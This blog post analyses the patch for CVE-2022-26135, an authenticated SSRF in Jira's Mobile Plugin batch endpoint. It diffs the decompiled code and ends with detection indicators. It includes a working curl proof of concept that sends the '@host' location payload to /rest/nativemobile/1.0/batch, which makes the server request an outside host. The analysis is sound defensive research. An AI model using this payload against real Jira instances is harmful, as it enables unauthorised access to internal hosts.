Reversing the CVE-2022-26135 update for fun and PoC

Analyzing and exploiting an SSRF vulnerability in Atlassian Jira

How can the server-side request forgery (SSRF) vulnerability in Atlassian Jira be exploited? What indicators are present after a successful exploitation? How was the vulnerability fixed?

Assetnote’s Blog Post and their exploit code were not published when this blog post was written. They nicely show how the vulnerability was discovered and confirm the findings published here.

Security advisory

The Jira Server Security Advisory describes the vulnerability as an authenticated SSRF via the “batch HTTP endpoint” used in it’s Mobile Plugin. It is also stated that the HTTP method and location of a target URL can be controlled by an attacker.

While an updated version of Jira contains a fix to this vulnerability, the Mitigation section of the advisory hints to a smaller piece that can be analyzed: It is possible to just update the affected plugin which would be a much smaller code base to look through.

Analyzing the vulnerable and fixed codes

The latest vulnerable plugin version 3.2.14 and the fixed version 3.2.15 can both be downloaded from the plugin’s Version History page. Using jardiff the changes between the versions can be easily listed. Eight files have been changed between those two versions. Five of those changes basically only consist of the new version number, some unrelated dependencies and a build date (atlassian-plugin.xml, mobile-plugin.properties, MANIFEST.MF, pom.properties and pom.xml). The other three files (BatchResource.class, LinkBuilder.class and UriUtils.class), all of which are java classes, contain the actual code changes.

While an analysis of the disassembled class files would work, they are a little hard to read and understand quickly. The tool jd-gui does a great job at decompiling the classes and making them (more) human readable.

BatchResource and BatchServiceImpl

This class in com.atlassian.jira.plugin.mobile.rest.v1_0 defines the /batch API endpoint which was mentioned in the security advisory. The code is annotated which makes understanding the inner workings pretty easy. The endpoint allows a client to let the server execute up to five requests and return the bundeled responses.

@Tag(name = "Batch API", description = "Contains all operations for batch requests")
@Path("/batch")
@Consumes({"application/json"})
@Produces({"application/json"})
@Component
public class BatchResource
{
    [...]
    @Operation(description = "Executes a batch request", responses = {@ApiResponse(responseCode = "200", description = "List of responses to all requests in the batch", content = {@Content(array = @ArraySchema(schema = @Schema(implementation = BatchResponseBean.class)))}), @ApiResponse(responseCode = "400", description = "In any of the following conditions are met:\n- A request method is not set\n- A request location is not set\n- The amount of batch requests given is greater than 5")})
    @POST
    public Response executeBatch(@Context HttpServletRequest httpRequest, RequestsBean<BatchRequestBean> requestsBean) {
        [...]
    }
    [...]
}

This class is basically just checking the request’s validity (request method and location set, not more than five requests). The updated version of this class appended “A request location is not safe” to the description of the status code 400 and introduced the check function UriUtils.arePathsSafe which will be analyzed later:

if (!UriUtils.arePathsSafe(new String[] { location })) {
    errors.add("Location is not safe");
}

The batch service’s implementation can be found in com.atlassian.jira.plugin.mobile.service.impl.BatchServiceImpl. The interesting part here is the execute function which executes the outgoing requests.

private Optional<BatchResponseBean> execute(BatchRequestBean requestBean, Map<String, String> headers) {
    String relativeLocation = requestBean.getLocation();
    URL jiraLocation = toJiraLocation(relativeLocation);
    if (jiraLocation == null) {
        return Optional.of(buildResponse(relativeLocation, 400));
    }

    Request request = (new Request.Builder()).url(jiraLocation).headers(Headers.of(headers)).method(requestBean.getMethod().name(), (requestBean.getBody() == null) ? null : RequestBody.create(JSON, requestBean.getBody().toString())).build();
    [...]
}

The request location as provided by the client is modified by the function toJiraLocation which calls the forRelativePath function from the LinkBuilder class:

private URL toJiraLocation(String relativeLocation) {
    try {
        return this.linkBuilder.forRelativePath(relativeLocation).toURL();
    } catch (Exception e) {
        log.warn("Cannot parse relative location: [" + relativeLocation + "]");
        return null;
    } 
}

There were no code changes in the service implementation.

LinkBuilder

The function toJiraLocation is where the original issue can be found:

import com.atlassian.jira.issue.fields.rest.json.beans.JiraBaseUrls;
[...]
public class LinkBuilder
{
    [...]
    private final JiraBaseUrls jiraBaseUrls;
    [...]
    public URI forRelativePath(String path) {
        return URI.create(this.jiraBaseUrls.baseUrl() + path);
    }
    [...]
}

Atlassian has an API documentation for JiraBaseUrls that provides a description of the baseUrl function:

The canonical base URL for this instance. It will return an absolute URL without trailing “/” character (eg. “http://example.com/jira”).

Here we go. Assuming the server is running at jira.victim.com, the line before becomes:

URI.create("https://jira.victim.com" + path);

The path part is provided by the client and is not checked in the vulnerable plugin version at all. An attacker can just send @attacker.com as the target location, resulting in a server-side request to attacker.com (or any internal host/IP reachable by the Jira instance).

The updated implementation introduces a similar call to UriUtils.arePathsSafe as seen before, plus some more formatting:

public URI forRelativePath(String path) {
    if (path == null || path.isEmpty()) {
        return URI.create(this.jiraBaseUrls.baseUrl());
    }
    URI pathURI = URI.create(path);
    if (!UriUtils.arePathsSafe(new String[] { pathURI.getPath() })) {
        throw new IllegalArgumentException(String.format("Path '%s' is not safe: it contains illegal character '@' or traverses the path.", new Object[] { pathURI }));
    }


    return UriBuilder.fromPath(this.jiraBaseUrls.baseUrl())
        .path(pathURI.getPath())
        .replaceQuery(pathURI.getQuery())
        .build(new Object[0]);
    }
}

UriUtils

The UriUtils class was updated to include the new function arePathsSafe, which parses the submitted URI and checks for path traversal (..) or an @ in it.

public static boolean arePathsSafe(URI... uris) {
    return Arrays.stream(uris)
    .map(URI::getPath)
    .map(EncodedSymbol::decodeAll)
    .map(PATH_TRAVERSAL::matcher)
    .map(m -> m.replaceAll(".."))
    .map(p -> URI.create(p).normalize().getPath())
    .noneMatch(path -> (path.contains("@") || path.startsWith("..") || path.startsWith("/..")));
}
[...]
private enum EncodedSymbol {
    SLASH("/", "%2f"),
    DOT(".", "%2e"),
    SEMICOLON(";", "%3B");

    private final String actual;
    private final Pattern pattern;

    EncodedSymbol(String actual, String encoded) {
        this.actual = actual;
        this.pattern = Pattern.compile(encoded);
    }

    static String decodeAll(String text) {
        if (!text.contains("%")) {
            return text;
        }
        String decoded = text;
        for (EncodedSymbol symbol : values()) {
            decoded = symbol.decode(text);
        }
        return decoded;
    }

    String decode(String text) {
        Matcher matcher = this.pattern.matcher(text);
        if (matcher.matches()) {
            return matcher.replaceAll(this.actual);
        }
        return text;
    }
}

The vulnerability is fixed with these changes and the ones in LinkBuilder.forRelativePath.

Exploiting the vulnerability

The vulnerable API endpoint can be found after consulting Atlassian’s REST plugin module documentation. Based on the documentation, the URL that maps to the batch service can be found from the information in atlassian-plugin.xml:

<rest key="mobile-rest-api-1-0" path="/nativemobile" version="1.0">
    <description>JIRA Mobile REST API</description>
    <package>com.atlassian.jira.plugin.mobile.rest.v1_0</package>
    <package>com.atlassian.jira.plugin.mobile.rest.v1_0.exception</package>
</rest>

The BatchResource states @Path("/batch"), combined with the REST path and version from the XML this becomes /rest/nativemobile/1.0/batch. Based on the other annotations in BatchResource it is clear that the endpoint expects a POST request with a JSON body. The function definition of executeBatch shows the expected Request as RequestsBean<BatchRequestBean> which is basically a List of BatchRequestBean inside the requests field. The BatchRequestBean itself consists of the fields method (enum of GET, POST, PUT, DELETE, OPTIONS, or HEAD), location and body. The payload therefore should be

{
    "requests":
    [
        {
            "method": "<request method>",
            "location": "<request URL>",
            "body": "<request body>"
        }
    ]
}

To put this to the test, a vulnerable version of Jira can be easily deployed temporarily using docker:

docker run -it --rm -p 8080:8080 --name jira atlassian/jira-software:8.22.3

After setting up the instance with a trial key from Atlassian, the following request results in a successful exploitation of the SSRF vulnerability:

curl -u user:password -X POST http://127.0.0.1:8080/rest/nativemobile/1.0/batch -H 'Content-Type: application/json' -d '{"requests":[{"method": "GET", "location": "@httpbin.org/ip"}]}'

Note that this exploit needs user credentials which can be gained by just signing up to the site (if enabled) and can be passed to the API as basic authentication parameters (as above) or as a session cookie after logging in.

Indicators of exploitation

Besides the obvious indicators of SSRF (outbound DNS and web requests from the server) this particular vulnerability can be easily tracked by looking for successful (status code 200) POST requests to the REST endpoint /rest/nativemobile/1.0/batch. If the Jira Server mobile app is not being used, this endpoint should likely never be called.

If the app is in use, differentiating legitimate calls from exploitation attempts can be tricky as the payload is located in the request body, which is usually not logged. Isolated calls to just this endpoint or the use of it by newly created users can be things to look out for.